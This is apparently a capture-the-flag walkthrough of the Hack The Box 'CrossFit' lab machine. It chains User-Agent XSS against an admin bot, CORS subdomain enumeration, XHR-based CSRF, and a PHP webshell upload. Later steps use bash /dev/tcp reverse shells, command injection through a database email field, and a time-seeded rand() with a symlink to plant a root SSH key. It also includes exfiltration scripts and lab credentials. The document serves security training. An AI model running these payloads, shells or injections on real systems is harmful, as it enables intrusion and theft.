Hack The Box
Hack The Box: CrossFit Walkthrough
CrossFit chains stored XSS, an internal FTP API, credential recovery, and command injection in a mail-processing path.

• Name: CrossFit
• OS: Linux
• Difficulty: Insane
• IP: 10.129.5.198
• Flags: User: f82ecf3f[redacted]383717c6e / Root: 201d921[redacted]0d2d11a3
Phase 0: Reconnaissance
Step 0.1: Add Domains to /etc/hosts
sudo bash -c 'echo "10.129.5.198 crossfit.htb gym-club.crossfit.htb ftp.crossfit.htb development-test.crossfit.htb" >> /etc/hosts'Context:
Web servers often use virtual hosts to serve different content based on the Host header. Accessing the site by IP alone usually yields a default Apache page. By mapping the domain names, we ensure our browser and tools send the correct Host header, revealing the actual applications.
Step 0.2: Nmap Scan
nmap -p- --min-rate 10000 10.129.5.198
nmap -p 21,22,80 -sC -sV 10.129.5.198Results:
• Port 21 - FTP (vsftpd, requires TLS)
• Port 22 - SSH (OpenSSH 7.9p1)
• Port 80 - HTTP (Apache 2.4.38)
Context:
The SSL certificate on port 21 leaks critical domain information: CN=*.crossfit.htb and emailAddress=info@gym-club.crossfit.htb. This tells us there are subdomains before we even start brute-forcing.
Phase 1: The XSS Vector
Step 1.1: Discover the XSS Trigger
Visit http://gym-club.crossfit.htb/blog-single.php. There is a comment form. Submit a comment containing:
<script>alert(1)</script>The site responds with:
"XSS attempt detected. A security report containing your IP address and browser information will be generated and our admin team will be immediately notified."
Context:
The message explicitly tells us two things: (1) there is an admin bot that reviews reports, and (2) the report includes browser information (i.e., the User-Agent string). If the admin bot renders the report in a browser, and our User-Agent contains JavaScript, the admin bot will execute our code.
Step 1.2: Confirm the XSS via User-Agent
Start a Python HTTP server to catch the admin bot's request:
cd /tmp && python3 -m http.server 80Send the XSS payload in the User-Agent header:
curl -s http://gym-club.crossfit.htb/blog-single.php \
--data 'name=test&email=test@crossfit.htb&phone=9999999999&message=<script src="http://10.10.16.84/"></script>&submit=submit' \
-H 'User-Agent: <script src="http://10.10.16.84/"></script>'What happens:
1. The <script> in the comment body triggers the XSS detector.
2. A security report is generated and sent to the admin team.
3. The report includes our malicious User-Agent.
4. The admin bot (a headless Firefox/Selenium browser) renders the report page.
5. The <script> in the User-Agent executes, causing the bot to fetch http://10.10.16.84/ (lab-only address).
Confirmation:
10.129.5.198----[29/May/2026 15:01:41] "GET / HTTP/1.1" 200 -Phase 2: CORS Subdomain Enumeration
Step 2.1: Discover Internal Subdomains
The gym-club.crossfit.htb site has CORS headers. If we send an Origin: http://FUZZ.crossfit.htb (lab-only address) header, the server responds with Access-Control-Allow-Origin only for valid subdomains.
Context:
The server is telling us which subdomains exist by explicitly allowing them in CORS. This is passive subdomain enumeration - no brute-force needed.
wfuzz -u http://gym-club.crossfit.htb/ -H "Origin: http://FUZZ.crossfit.htb" \
--filter "r.headers.response ~ 'Access-Control-Allow-Origin'" \
-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txtResult: ftp.crossfit.htb
"CORS is not just a security policy - it's an enumeration mechanism. If gym-club trusts ftp.crossfit.htb, then ftp.crossfit.htb must exist. Trust relationships are discovery relationships."
Step 2.2: Exfiltrate the Internal Page
Accessing ftp.crossfit.htb from our machine returns the default Apache page. But the admin bot is on the internal network and sees the real application. We use XSS to make the bot fetch the page for us.
Create /tmp/ftp_enum.js:
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
if(fetch_req.readyState == XMLHttpRequest.DONE) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.16.84:3000", false);
exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);
}
};
fetch_req.open("GET", "http://ftp.crossfit.htb/", false);
fetch_req.withCredentials = true;
fetch_req.send();Host it on port 80 and catch the exfil on port 3000:
nc -lnkp 3000 # Terminal B
cd /tmp && python3 -m http.server 80 # Terminal ATrigger the XSS:
curl -s http://gym-club.crossfit.htb/blog-single.php \
--data 'name=test&email=test@crossfit.htb&phone=9999999999&message=<script src="http://10.10.16.84/"></script>&submit=submit' \
-H 'User-Agent: <script src="http://10.10.16.84/ftp_enum.js"></script>'Result: The internal page is an FTP Account Management portal with a "Create New Account" button.
"Internal applications are not hidden - they're just not visible to outsiders. If you can make an insider (the admin bot) browse for you, internal becomes external. The browser is the ultimate SSRF engine."
Phase 3: CSRF Account Creation
Step 3.1: Understand the CSRF Protection
The /accounts/create form contains a Laravel CSRF token:
<input type="hidden" name="_token" value="…">Context:
We cannot simply POST to /accounts with hardcoded credentials. The server validates the _token against the session. However, since our JavaScript runs in the admin bot's browser, it shares the admin's session cookies. We can:
1. GET /accounts/create to extract the token
2. POST to /accounts with the valid token + our credentials
"CSRF tokens are session-bound, not user-bound. If your code runs in the victim's browser with their cookies, you ARE the victim. XSS is the ultimate CSRF bypass because it inherits the victim's entire session state."
Step 3.2: Create the FTP Account
Create /tmp/ftp_create_account.js:
function get_token(body) {
var dom = new DOMParser().parseFromString(body, 'text/html');
return dom.getElementsByName('_token')[0].value;
}
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
if (fetch_req.readyState == XMLHttpRequest.DONE) {
var token = get_token(fetch_req.response);
var reg_req = new XMLHttpRequest();
reg_req.onreadystatechange = function() {
if (reg_req.readyState == XMLHttpRequest.DONE) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.16.84:3000/", false);
exfil_req.send(reg_req.response);
}
};
reg_req.open("POST", "http://ftp.crossfit.htb/accounts", false);
reg_req.withCredentials = true;
reg_req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
reg_req.send("_token=" + token + "&username=rapid99&pass=rapid99");
}
};
fetch_req.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
fetch_req.withCredentials = true;
fetch_req.send();Critical detail: withCredentials = true ensures cookies are sent with cross-origin requests. Without this, the CSRF token would be rejected because the session would be different.
Trigger the XSS and confirm: "Account created successfully."
Phase 4: FTP Webshell & Foothold
Step 4.1: Connect to FTP
Standard ftp fails because the server requires encryption:
530 Non-anonymous sessions must use encryption.Use lftp with SSL verification disabled:
lftp -u rapid99,rapid99 ftp.crossfit.htb -e "set ssl:verify-certificate false; ls"Directories:
• development-test - writable by FTP users
• ftp - the Laravel FTP management app
• gym-club - the main website
• html - default Apache page
Context:
development-test is writable and mapped to a virtual host (development-test.crossfit.htb). If we upload a PHP shell here, we can execute it via HTTP.
Step 4.2: Upload the Webshell
Create a minimal PHP command shell:
<?php system($_GET['cmd']); ?>Upload it:
lftp -u rapid99,rapid99 ftp.crossfit.htb -e "set ssl:verify-certificate false; cd development-test; put cmd.php; ls; quit"Step 4.3: Trigger the Reverse Shell
The webshell is reachable at http://development-test.crossfit.htb/cmd.php (lab-only address), but only from the internal network (the admin bot). We use XSS one more time to trigger it.
Create /tmp/revshell.js:
var req = new XMLHttpRequest();
req.open("GET", "http://development-test.crossfit.htb/cmd.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.84/443+0>%261'", false);
req.send();Start the listener:
nc -lnkp 443Trigger the XSS with the revshell payload in the User-Agent.
Result: Shell as www-data.
Upgrade the shell:
python3 -c 'import pty;pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
reset
# Terminal type: screenPhase 5: User Escalation (www-data → hank)
Step 5.1: Find the Ansible Playbook
While enumerating as www-data, discover:
cat /etc/ansible/playbooks/adduser_hank.ymlIt contains a SHA512crypt password hash for user hank:
$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/Context:
Ansible playbooks are automation scripts. They often contain hardcoded credentials because they need to provision systems unattended. Check /etc/ansible/.
"DevOps credentials are the new domain admin hashes. Ansible, Puppet, Chef, and SaltStack all store secrets in plaintext or weakly hashed forms. Check them religiously."
Step 5.2: Crack the Hash
Save the hash and crack it:
hashcat -m 1800 hank.hash /usr/share/wordlists/rockyou.txtResult: powerpuffgirls
Step 5.3: Become hank
su hank -
# Password: powerpuffgirls
cat ~/user.txtUser flag: f82ecf[redacted]23a383717c6e
Phase 6: Lateral Movement (hank → isaac)
Step 6.1: Enumerate as hank
Check groups:
id
# uid=1004(hank) gid=1006(hank) groups=1006(hank),1005(admins)The admins group grants read access to:
• /home/isaac/send_updates
• /etc/pam.d/vsftpd (contains ftpadm credentials)
Read the PAM config:
grep pam_mysql /etc/pam.d/vsftpdResult: ftpadm / 8W)}gpRJvAmnb
Read the gym-club database credentials:
cat /var/www/gym-club/db.phpResult: crossfit / oeLoo~y2baeni
Step 6.2: Understand the Cron Job
cat /etc/crontabLine:
* * * * * isaac /usr/bin/php /home/isaac/send_updates/send_updates.phpThis script runs every minute as isaac. It reads files from /srv/ftp/messages and sends emails to all users in the users database table using the mikehaertl/php-shellcommand library (version 1.6.0).
Vulnerability:
Version 1.6.0 has a command injection flaw. The email field from the database is passed as an argument to /usr/bin/mail without proper escaping.
Why the file upload is needed:
The inner loop only runs if there are files in /srv/ftp/messages. We must upload any file there via FTP to trigger the mail loop.
Step 6.3: Execute the Command Injection
Start a listener:
nc -lnkp 4444Insert the malicious email into the database:
mysql -u crossfit -poeLoo~y2baeni crossfit \
-e "INSERT INTO users(email) VALUES ('--wrong || bash -c \"bash -i >& /dev/tcp/10.10.16.84/4444 0>&1\"')"Upload any file to /srv/ftp/messages via FTP to trigger the mail loop:
lftp -u ftpadm,'8W)}gpRJvAmnb' ftp.crossfit.htb \
-e "set ssl:verify-certificate false; cd messages; put /etc/hostname; quit"Wait up to 60 seconds for the cron to fire.
Result: Shell as isaac.
Why the payload works: The send_updates.php script builds a command like:
/usr/bin/mail -s 'CrossFit Club Newsletter' '--wrong || bash -c "bash -i >& /dev/tcp/10.10.16.84/4444 0>&1"'Due to the php-shellcommand escaping flaw, the shell interprets || and executes our reverse shell.
Phase 7: Root Escalation (isaac → root)
Step 7.1: Discover the dbmsg Binary
While running pspy (or observing file events), notice /bin/dbmsg being accessed every minute. Running it directly fails:
dbmsg
# This program must be run as root.Context:
A binary that explicitly checks for root and runs on a cron is the ultimate target for privilege escalation.
"Binaries that say 'must be run as root' are not barriers - they're advertisements. They tell you exactly what they're for. The next step is to figure out how to make root run YOUR data through them."
Step 7.2: Reverse Engineering dbmsg
Analyzing dbmsg in Ghidra reveals:
void main(void) {
uid = geteuid();
if (uid != 0) {
fwrite("This program must be run as root.\n",1,0x22,stderr);
exit(1);
}
time_seed = time((time_t *)0x0);
srand((uint)time_seed);
process_data();
exit(0);
}The process_data() function:
1. Connects to MySQL as crossfit/oeLoo~y2baeni
2. Queries SELECT * FROM messages
3. Opens /var/backups/mariadb/comments.zip
4. For each row:
• rand_num = rand()
• filename = md5(rand_num + id)
• filepath = "/var/local/" + filename
• fopen(filepath, "w")
• Writes: name + " " + message + " " + email
• Adds file to zip
5. Deletes DB rows and files
The Exploit:
Since srand(time(NULL)) uses the current Unix timestamp as the seed, the "random" number is predictable. We can:
1. Calculate the timestamp when dbmsg will next run (every minute at:01)
2. Predict rand() for that timestamp
3. Compute the MD5 hash of rand() + id
4. Create a symlink at /var/local/[hash] pointing to /root/.ssh/authorized_keys
5. Insert our SSH public key into the messages table with the matching id
6. When dbmsg runs as root, it fopen()s our symlink, follows it, and writes our SSH key to /root/.ssh/authorized_keys
"Randomness seeded with time is not random - it's a clock. If you know when a program runs, you know its entropy source. Cryptographers call this a catastrophic failure; attackers call it Tuesday."
Step 7.3: Generate an SSH Key Pair
On Kali:
ssh-keygen -t ed25519 -f /tmp/crossfit_root -N "" -C "root@crossfit"
cat /tmp/crossfit_root.pubResult:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF5APNQ6KSHyFeATLDm52mK+EIOmslITWWsGzcu9oMGx root@crossfitStep 7.4: Build and Run the Exploit Script
On the target (as isaac), create /home/isaac/root.sh:
#!/bin/bash
ID=777
cd /home/isaac
# Predict dbmsg's rand() seed
cat > predict.c <<'EOF'
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
int main() {
time_t now = time(NULL);
time_t next = now - (now % 60) + 61; # Next minute + 1 second
srand(next);
printf("%d\n", rand());
return 0;
}
EOF
gcc -o predict predict.c
RAND=$(./predict)
rm predict predict.c
# Compute the target filename
FN=$(echo -n "${RAND}${ID}" | md5sum | cut -d' ' -f1)
echo "[+] Predicted filename: /var/local/$FN"
# Create symlink before dbmsg runs
ln -sf /root/.ssh/authorized_keys /var/local/$FN
echo "[+] Symlink created"
# Insert SSH key parts into messages table
# dbmsg writes: name + " " + message + " " + email
# For authorized_keys format: ssh-ed25519 <key> <comment>
mysql -u crossfit -poeLoo~y2baeni crossfit \
-e "INSERT INTO messages(id, name, email, message) VALUES ($ID, 'ssh-ed25519', 'root@crossfit', 'AAAAC3NzaC1lZDI1NTE5AAAAIF5APNQ6KSHyFeATLDm52mK+EIOmslITWWsGzcu9oMGx')"
echo "[+] DB entry inserted"
# Sleep until dbmsg runs (next minute :01)
SECS=$((61 - $(date +%-S)))
echo "[*] Sleeping $SECS seconds until dbmsg runs…"
sleep $SECS
echo "[*] Exploit window passed. Try SSH as root."Run it:
chmod +x /home/isaac/root.sh
/home/isaac/root.shCritical timing note:
A cleanup script on the box periodically deletes files in /tmp, /dev/shm, and /var/local. We compile in /home/isaac and create the symlink in /var/local just before the cron fires. If the symlink is cleaned before dbmsg opens it, the exploit fails. The sleep targets the exact execution window.
Step 7.5: SSH as Root
On Kali:
ssh -i /tmp/crossfit_root root@10.129.5.198Result:
root@crossfit:~# id
uid=0(root) gid=0(root) groups=0(root)Root flag:
cat /root/root.txt
# 201d921[redacted]0d2d11a3
"Arbitrary write as root gives full control. It doesn't matter how complex the path is - if root writes attacker-controlled data to an attacker-chosen location, you own the box. The symlink turns a benign file write into a root compromise."
Key lessons
1. Input Fields Are Not Created Equal
The blog comment form had XSS filters. The User-Agent did not. Every field that reaches a privileged viewer is an attack surface.
2. The Browser Is Your Best Friend
A headless browser running as an admin is not a security control - it's a proxy. XSS lets you browse the internal network, submit forms, and steal tokens from the inside.
3. CORS Is an Enumeration Tool
Access-Control-Allow-Origin leaks the existence of subdomains. Trust relationships are discovery vectors.
4. Chain Simple Primitives
XSS → CORS enumeration → CSRF → FTP upload → Webshell → Reverse shell. No single step is complex; the chain is devastating.
5. Credentials Hide in Config Files
Ansible playbooks, PAM configs, and PHP db.php files are useful credential sources. Automation requires hardcoded secrets.
6. Cron Jobs Are Escalation Paths
A script that runs every minute as another user is a free elevator. Find what inputs it consumes and poison them.
7. Predictable Randomness Is Not Random
srand(time(NULL)) is a cryptographic disaster. If you know the execution time, you know the output.
8. Symlinks Redirect Privilege
A symlink in a world-writable directory can turn a low-privilege file creation into a high-privilege file write. Root follows symlinks.
9. Timing Matters
Cleanup scripts, cron jobs, and race conditions are real. The difference between success and failure is often seconds. Prepare everything in advance and execute rapidly.
10. Do not trust the Surface
The default Apache page on crossfit.htb was a lie. The real application lived on gym-club.crossfit.htb. The FTP site was invisible without the right Origin header. What you see first is rarely what you need.
The chain is only as strong as your curiosity.